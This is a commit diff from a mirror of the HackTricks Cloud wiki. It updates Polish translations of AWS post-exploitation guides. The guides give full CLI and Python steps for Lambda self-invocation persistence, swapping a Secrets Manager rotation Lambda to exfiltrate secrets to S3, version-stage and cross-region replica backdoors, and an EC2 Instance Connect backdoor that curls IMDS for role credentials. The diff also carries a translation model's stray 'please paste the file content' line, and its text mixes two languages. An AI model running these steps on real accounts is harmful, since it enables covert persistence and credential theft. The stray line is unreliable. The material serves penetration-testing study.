mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+19
-16
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Wykorzystaj asynchroniczne Destinations w Lambda razem z konfiguracją Recursion, aby sprawić, że funkcja będzie nieustannie samowywoływać się bez zewnętrznego harmonogramu (bez EventBridge, cron itp.). Domyślnie Lambda przerywa pętle rekurencyjne, ale ustawienie Recursion na Allow ponownie je włącza. Destinations realizują dostarczenie po stronie serwisu dla asynchronicznych wywołań, więc jedno inicjalne wywołanie tworzy ukryty, bezkodowy kanał heartbeat/backdoor. Opcjonalnie ograniczaj ruch za pomocą reserved concurrency, aby utrzymać niski poziom hałasu.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Uwagi
|
||||
- Lambda nie pozwala bezpośrednio skonfigurować funkcji jako jej własnego destination. Użyj aliasu funkcji jako destination i nadaj execution role uprawnienie do wywoływania tego aliasu.
|
||||
- Minimalne uprawnienia: możliwość odczytu/aktualizacji event invoke config i recursion config docelowej funkcji, publikowania wersji i zarządzania aliasem oraz aktualizacji polityki execution role funkcji, aby zezwolić na lambda:InvokeFunction dla aliasu.
|
||||
Wykorzystaj Lambda asynchronous destinations wraz z konfiguracją Recursion, aby funkcja stale ponownie wywoływała samą siebie bez zewnętrznego schedulera (bez EventBridge, cron itp.). Domyślnie Lambda przerywa pętle rekurencyjne, ale ustawienie recursion config na Allow ponownie je włącza. Destinations dostarczają po stronie serwisu dla async invokes, więc pojedyncze seed invoke tworzy ukryty, bezkodowy kanał heartbeat/backdoor. Opcjonalnie ogranicz przepustowość za pomocą reserved concurrency, aby utrzymać niski poziom hałasu.
|
||||
|
||||
## Wymagania
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Zmienne:
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Kroki
|
||||
## Steps
|
||||
|
||||
1) Pobierz ARN funkcji i bieżące ustawienie Recursion
|
||||
1) Get function ARN and current recursion setting
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Opublikuj wersję i utwórz/zaktualizuj alias (używany jako self destination)
|
||||
2) Opublikuj wersję i utwórz/aktualizuj alias (używany jako self destination)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Zezwól roli wykonawczej funkcji na wywołanie aliasu (wymagane przez Lambda Destinations→Lambda)
|
||||
3) Pozwól roli wykonawczej funkcji wywoływać alias (wymagane przez Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -58,12 +60,12 @@ aws lambda put-function-event-invoke-config \
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Pozwól na rekurencyjne pętle
|
||||
5) Pozwól na pętle rekurencyjne
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Zainicjuj jedno asynchroniczne wywołanie
|
||||
6) Zainicjuj pojedyncze asynchroniczne wywołanie
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
@@ -73,11 +75,11 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Opcjonalne ukryte ograniczenie tempa
|
||||
8) Opcjonalne ukryte ograniczenie
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Czyszczenie
|
||||
## Sprzątanie
|
||||
Przerwij pętlę i usuń persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
@@ -88,5 +90,6 @@ aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGIO
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- Jedno async invoke powoduje, że Lambda ciągle wywołuje się ponownie bez zewnętrznego harmonogramu, umożliwiając stealthy persistence/heartbeat. Reserved concurrency może ograniczyć hałas do jednej warm execution.
|
||||
## Wpływ
|
||||
- Jedno async invoke powoduje, że Lambda nieustannie wywołuje samą siebie bez zewnętrznego schedulera, umożliwiając stealthy persistence/heartbeat. Reserved concurrency może ograniczyć noise do pojedynczej warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+36
-42
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Więcej informacji:
|
||||
Po więcej informacji zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,11 +12,11 @@ Więcej informacji:
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
Możliwe jest **grant access to secrets to external accounts** za pomocą resource policies. Sprawdź [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) po więcej informacji. Zwróć uwagę, że aby **access a secret**, zewnętrzne konto będzie również **need access to the KMS key encrypting the secret**.
|
||||
Możliwe jest **grant access to secrets to external accounts** poprzez resource policies. Sprawdź [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) po więcej informacji. Zwróć uwagę, że aby **access a secret**, zewnętrzne konto będzie również **need access to the KMS key encrypting the secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
Aby automatycznie **rotate secrets**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **change** **the code** mógłby bezpośrednio **exfiltrate the new secret** do siebie.
|
||||
Aby automatycznie **rotate secrets**, wywoływana jest skonfigurowana **Lambda**. Jeśli atakujący mógłby **change** the **code**, mógłby bezpośrednio **exfiltrate the new secret** do siebie.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
```python
|
||||
@@ -48,33 +48,27 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Zamień funkcję Lambda odpowiedzialną za rotację na funkcję kontrolowaną przez atakującego za pomocą RotateSecret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Podmień funkcję Lambda rotacji na funkcję kontrolowaną przez atakującego za pomocą RotateSecret
|
||||
|
||||
Nadużyj `secretsmanager:RotateSecret`, aby przypisać sekret do funkcji Lambda rotacji kontrolowanej przez atakującego i wywołać natychmiastową rotację. Złośliwa funkcja eksfiltruje wersje sekretu (AWSCURRENT/AWSPENDING) podczas kroków rotacji (createSecret/setSecret/testSecret/finishSecret) do miejsca odbioru atakującego (np. S3 lub zewnętrzne HTTP).
|
||||
Wykorzystaj `secretsmanager:RotateSecret`, aby przepiąć secret do funkcji rotacyjnej kontrolowanej przez atakującego i wymusić natychmiastową rotację. Złośliwa funkcja eksfiltrowuje wersje secretu (AWSCURRENT/AWSPENDING) podczas kroków rotacji (createSecret/setSecret/testSecret/finishSecret) do miejsca exfiltracji atakującego (np. S3 lub zewnętrzny HTTP).
|
||||
|
||||
- Wymagania
|
||||
- Uprawnienia: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` dla atakującej funkcji Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (lub AttachRolePolicy) aby wyposażyć rolę wykonawczą Lambda w uprawnienia `secretsmanager:GetSecretValue` i najlepiej `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (aby rotacja dalej działała), KMS `kms:Decrypt` dla klucza KMS sekretu oraz `s3:PutObject` (lub ruch wychodzący) do eksfiltracji.
|
||||
- Docelowy identyfikator sekretu (`SecretId`) z włączoną rotacją lub możliwość włączenia rotacji.
|
||||
- Uprawnienia: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` na attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (lub AttachRolePolicy) do utworzenia roli wykonawczej Lambdy z `secretsmanager:GetSecretValue` i najlepiej `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (żeby rotacja nadal działała), KMS `kms:Decrypt` dla klucza KMS secretu, oraz `s3:PutObject` (lub ruch wychodzący) do eksfiltracji.
|
||||
- Docelowy identyfikator secretu (`SecretId`) z włączoną rotacją lub możliwość włączenia rotacji.
|
||||
|
||||
- Wpływ
|
||||
- Atakujący uzyskuje wartość(y) sekretu bez modyfikowania oryginalnego kodu rotacji. Zmieniana jest tylko konfiguracja rotacji, aby wskazywała na funkcję Lambda atakującego. Jeśli nie zostanie wykryte, zaplanowane przyszłe rotacje będą dalej wywoływać funkcję atakującego.
|
||||
- Atakujący otrzymuje wartość(y) secretu bez modyfikowania oryginalnego kodu rotacji. Zmienia się jedynie konfiguracja rotacji, aby wskazywała na Lambda atakującego. Jeśli nie zostanie wykryte, zaplanowane przyszłe rotacje będą nadal wywoływać funkcję atakującego.
|
||||
|
||||
- Kroki ataku (CLI)
|
||||
1) Przygotuj miejsce odbioru dla eksfiltracji i rolę Lambda
|
||||
- Utwórz bucket S3 do eksfiltracji oraz rolę wykonawczą zaufaną przez Lambda z uprawnieniami do odczytu sekretu i zapisu do S3 (oraz logów/KMS w razie potrzeby).
|
||||
2) Wdróż funkcję Lambda atakującego, która na każdym kroku rotacji pobiera wartość(i) sekretu i zapisuje je do S3. Minimalna logika rotacji może po prostu skopiować AWSCURRENT do AWSPENDING i promować ją w finishSecret, aby utrzymać usługę w poprawnym stanie.
|
||||
3) Podmień funkcję rotacji i wyzwól
|
||||
1) Przygotuj miejsce exfiltracji i rolę Lambda
|
||||
- Utwórz bucket S3 do eksfiltracji oraz rolę wykonawczą zaufaną przez Lambda z uprawnieniami do odczytu secretu i zapisu do S3 (oraz logs/KMS w razie potrzeby).
|
||||
2) Wdróż attacker Lambda, która w każdym kroku rotacji pobiera wartość(y) secretu i zapisuje je do S3. Minimalna logika rotacji może po prostu skopiować AWSCURRENT do AWSPENDING i promować ją w finishSecret, aby utrzymać usługę w dobrym stanie.
|
||||
3) Przekieruj rotację i wyzwól
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Zweryfikuj eksfiltrację, listując prefiks S3 dla tego sekretu i sprawdzając artefakty JSON.
|
||||
5) (Opcjonalnie) Przywróć oryginalną funkcję rotacji Lambda, aby zmniejszyć wykrywalność.
|
||||
4) Zweryfikuj eksfiltrację, listując prefiks S3 dla tego secretu i sprawdzając artefakty JSON.
|
||||
5) (Opcjonalnie) Przywróć oryginalną funkcję rotacyjną Lambda, aby zmniejszyć wykrycie.
|
||||
|
||||
- Przykładowa funkcja Lambda atakującego (Python) eksfiltrująca do S3
|
||||
- Przykładowa Lambda atakującego (Python) eksfiltrująca do S3
|
||||
- Środowisko: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
@@ -104,17 +98,17 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.
|
||||
Wykorzystaj etykiety staging wersji w Secrets Manager, aby umieścić kontrolowaną przez atakującego wersję sekretu i ukryć ją pod niestandardowym stage (na przykład, `ATTACKER`), podczas gdy produkcja nadal korzysta z oryginalnego `AWSCURRENT`. W dowolnym momencie przestaw `AWSCURRENT` na wersję atakującego, aby zatruć zależne workloady, a następnie przywróć, by zminimalizować wykrycie. Zapewnia to dyskretną backdoor persystencję i szybką manipulację czasem użycia bez zmiany nazwy sekretu ani konfiguracji rotacji.
|
||||
|
||||
- Wymagania
|
||||
- Uprawnienia: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (do weryfikacji)
|
||||
- Docelowy secret id w Regionie.
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- Target secret id in the Region.
|
||||
|
||||
- Wpływ
|
||||
- Utrzymanie ukrytej, kontrolowanej przez atakującego wersji sekretu i atomowe przełączenie `AWSCURRENT` na nią na żądanie, wpływając na każdego konsumenta rozwiązującego tę samą nazwę sekretu. Przełączenie i szybkie przywrócenie zmniejszają szansę wykrycia, jednocześnie umożliwiając kompromitację w momencie użycia.
|
||||
- Impact
|
||||
- Utrzymuj ukrytą, kontrolowaną przez atakującego wersję sekretu i atomowo przestawiaj `AWSCURRENT` na nią na żądanie, wpływając na każdego konsumenta rozwiązującego tę samą nazwę sekretu. Przestawienie i szybkie przywrócenie zmniejszają szansę wykrycia, jednocześnie umożliwiając kompromitację w momencie użycia.
|
||||
|
||||
- Kroki ataku (CLI)
|
||||
- Przygotowanie
|
||||
- Attack steps (CLI)
|
||||
- Preparation
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
@@ -168,23 +162,23 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- Uwagi
|
||||
- Gdy podasz `--client-request-token`, Secrets Manager użyje go jako `VersionId`. Dodanie nowej wersji bez jawnego ustawienia `--version-stages` powoduje domyślne przesunięcie `AWSCURRENT` na nową wersję i oznaczenie poprzedniej jako `AWSPREVIOUS`.
|
||||
- Gdy podasz `--client-request-token`, Secrets Manager użyje go jako `VersionId`. Dodanie nowej wersji bez jawnego ustawienia `--version-stages` powoduje domyślne przeniesienie `AWSCURRENT` na nową wersję i oznaczenie poprzedniej jako `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Wykorzystaj multi-Region replication w Secrets Manager, aby stworzyć replikę docelowej tajemnicy w mniej monitorowanym Regionie, zaszyfruj ją kluczem KMS kontrolowanym przez attacker w tym Regionie, a następnie wypromuj replikę do samodzielnej tajemnicy i dołącz permisywną resource policy przyznającą attacker dostęp do odczytu. Oryginalna tajemnica w Regionie pierwotnym pozostaje niezmieniona, co daje trwały, ukryty dostęp do wartości tajemnicy przez wypromowaną replikę, omijając ograniczenia KMS/policy na pierwotnej.
|
||||
Wykorzystaj multi-Region replication w Secrets Manager, aby stworzyć replikę docelowego secret w mniej monitorowanym Regionie, zaszyfrować ją kluczem KMS kontrolowanym przez atakującego w tym Regionie, następnie wypromować replikę do standalone secret i dołączyć permisywną resource policy przyznającą atakującemu dostęp do odczytu. Oryginalny secret w Regionie głównym pozostaje niezmieniony, co daje trwały, dyskretny dostęp do wartości secret przez wypromowaną replikę, omijając ograniczenia KMS/policy na źródłowym zasobie.
|
||||
|
||||
- Wymagania
|
||||
- Uprawnienia: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- W regionie repliki: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (lub `kms:PutKeyPolicy`) aby pozwolić attacker principal na `kms:Decrypt`.
|
||||
- Konieczny attacker principal (user/role), który otrzyma dostęp do odczytu promowanej tajemnicy.
|
||||
- W Regionie repliki: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (lub `kms:PutKeyPolicy`) umożliwiające principalowi atakującego `kms:Decrypt`.
|
||||
- An attacker principal (user/role) to receive read access to the promoted secret.
|
||||
|
||||
- Wpływ
|
||||
- Trwała ścieżka dostępu między regionami do wartości tajemnicy poprzez samodzielną replikę używającą KMS CMK kontrolowanego przez attacker i permisywnej resource policy. Pierwotna tajemnica w oryginalnym Regionie pozostaje nietknięta.
|
||||
- Trwała, międzyregionowa ścieżka dostępu do wartości secret poprzez niezależną replikę zabezpieczoną KMS CMK kontrolowanym przez atakującego oraz permisywną resource policy. Główny secret w oryginalnym Regionie pozostaje nietknięty.
|
||||
|
||||
- Atak (CLI)
|
||||
- Zmienne
|
||||
- Attack (CLI)
|
||||
- Vars
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Utworzyć klucz KMS kontrolowany przez atakującego w replikowanym regionie
|
||||
1) Utwórz kontrolowany przez atakującego klucz KMS w Regionie repliki
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -205,20 +199,20 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Sklonuj secret do R2 używając attacker KMS key
|
||||
2) Zreplikuj secret do R2, używając klucza KMS atakującego
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Wypromuj replikę do trybu samodzielnego w R2
|
||||
3) Promuj replikę na instancję samodzielną w R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Dołącz permisywną politykę zasobów do oddzielnego sekretu w R2
|
||||
4) Dołącz permisywną politykę zasobów do samodzielnego secretu w R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -226,9 +220,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Odczytaj sekret z attacker principal w R2
|
||||
5) Odczytaj secret od attacker principal w R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-13
@@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Wykorzystaj EC2 Instance Connect Endpoint (EIC Endpoint), aby uzyskać przychodzący dostęp SSH do prywatnych instancji EC2 (bez publicznego IP/bastiona) poprzez:
|
||||
Wykorzystaj EC2 Instance Connect Endpoint (EIC Endpoint), aby uzyskać przychodzący dostęp SSH do prywatnych instancji EC2 (bez publicznego IP/bastion) poprzez:
|
||||
- Utworzenie EIC Endpoint wewnątrz docelowego subnetu
|
||||
- Zezwolenie na przychodzące połączenia SSH w docelowym SG z EIC Endpoint SG
|
||||
- Wstrzyknięcie krótkotrwałego publicznego klucza SSH (ważnego ~60 sekund) przy użyciu `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Otwarcie tunelu EIC i pivoting do instancji w celu wykradzenia poświadczeń instance profile z IMDS
|
||||
- Zezwolenie na przychodzący SSH w docelowym SG z SG EIC Endpoint
|
||||
- Wstrzyknięcie krótkotrwałego publicznego klucza SSH (ważnego ~60 sekund) za pomocą `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Otwarcie tunelu EIC i pivot do instancji, aby ukraść poświadczenia instance profile z IMDS
|
||||
|
||||
Impact: ukryta ścieżka dostępu zdalnego do prywatnych instancji EC2, omijająca bastions i ograniczenia publicznego IP. Atakujący może przejąć instance profile i działać w ramach konta.
|
||||
Impact: dyskretna ścieżka zdalnego dostępu do prywatnych instancji EC2, która omija bastions i ograniczenia publicznego IP. Atakujący może przyjąć instance profile i działać w ramach konta.
|
||||
|
||||
## Requirements
|
||||
## Wymagania
|
||||
- Uprawnienia do:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Docelowa instancja Linux z działającym serwerem SSH i włączonym EC2 Instance Connect (Amazon Linux 2 lub Ubuntu 20.04+). Domyślni użytkownicy: `ec2-user` (AL2) lub `ubuntu` (Ubuntu).
|
||||
- Docelowa instancja Linux z uruchomionym serwerem SSH i włączonym EC2 Instance Connect (Amazon Linux 2 lub Ubuntu 20.04+). Domyślni użytkownicy: `ec2-user` (AL2) lub `ubuntu` (Ubuntu).
|
||||
|
||||
## Variables
|
||||
## Zmienne
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
@@ -51,7 +51,7 @@ aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Wstrzyknij efemeryczny klucz SSH i otwórz tunel
|
||||
## Wstrzyknij tymczasowy klucz SSH i otwórz tunel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Dowód Post-exploitation (steal instance profile credentials)
|
||||
## Post-exploitation dowód (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
I don't have the file content. Please paste the markdown/html text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md, and I'll translate it to Polish following your rules.
|
||||
Nie widzę treści do przetłumaczenia. Proszę wklej zawartość pliku src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md, a przetłumaczę go zgodnie z wytycznymi.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
@@ -97,7 +97,7 @@ export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Sprzątanie
|
||||
## Czyszczenie
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
@@ -108,6 +108,7 @@ aws ec2 revoke-security-group-ingress \
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Uwaga
|
||||
> Uwagi
|
||||
> - Wstrzyknięty klucz SSH jest ważny tylko przez ~60 sekund; wyślij klucz tuż przed otwarciem tunelu/SSH.
|
||||
> - `OS_USER` musi odpowiadać AMI (np. `ubuntu` dla Ubuntu, `ec2-user` dla Amazon Linux 2).
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+15
-14
@@ -2,34 +2,34 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` aby ukraść sekundarny prywatny adres IP ENI ofiary i przenieść go na ENI atakującego w tej samej subnet/AZ. Wiele wewnętrznych usług i security groups ogranicza dostęp na podstawie konkretnych prywatnych adresów IP. Przenosząc ten sekundarny adres, atakujący podszywa się pod zaufany host na warstwie L3 i może uzyskać dostęp do allowlisted services.
|
||||
Wykorzystaj `ec2:UnassignPrivateIpAddresses` i `ec2:AssignPrivateIpAddresses`, aby ukraść sekundarny prywatny adres IP ENI ofiary i przenieść go na ENI atakującego w tej samej podsieci/AZ. Wiele wewnętrznych usług i security groups kontroluje dostęp po konkretnych prywatnych adresach IP. Przenosząc ten adres sekundarny, atakujący podszywa się pod zaufany host na warstwie L3 i może dotrzeć do allowlisted services.
|
||||
|
||||
Wymagania:
|
||||
- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
|
||||
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
|
||||
Prereqs:
|
||||
- Uprawnienia: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` na ARN ENI ofiary, oraz `ec2:AssignPrivateIpAddresses` na ARN ENI atakującego.
|
||||
- Oba ENI muszą być w tej samej subnet/AZ. Docelowy adres musi być adresem sekundarnym (primary nie można odassignować).
|
||||
|
||||
Zmienne:
|
||||
Variables:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Kroki:
|
||||
1) Wybierz sekundarny adres IP z ENI ofiary
|
||||
Steps:
|
||||
1) Wybierz sekundarny IP z ENI ofiary
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
Upewnij się, że chroniony host zezwala tylko na ten adres IP (operacja idempotentna). Jeśli zamiast tego używasz reguł SG-to-SG, pomiń ten krok.
|
||||
2) Upewnij się, że chroniony host akceptuje tylko ten adres IP (idempotentny). Jeśli zamiast tego używasz reguł SG-to-SG, pomiń.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Stan bazowy: z attacker instance żądanie do PROTECTED_HOST powinno zakończyć się niepowodzeniem bez spoofed source (np. przez SSM/SSH)
|
||||
3) Stan bazowy: z instancji atakującej żądanie do PROTECTED_HOST powinno zakończyć się niepowodzeniem bez sfałszowanego źródła (np. przez SSM/SSH)
|
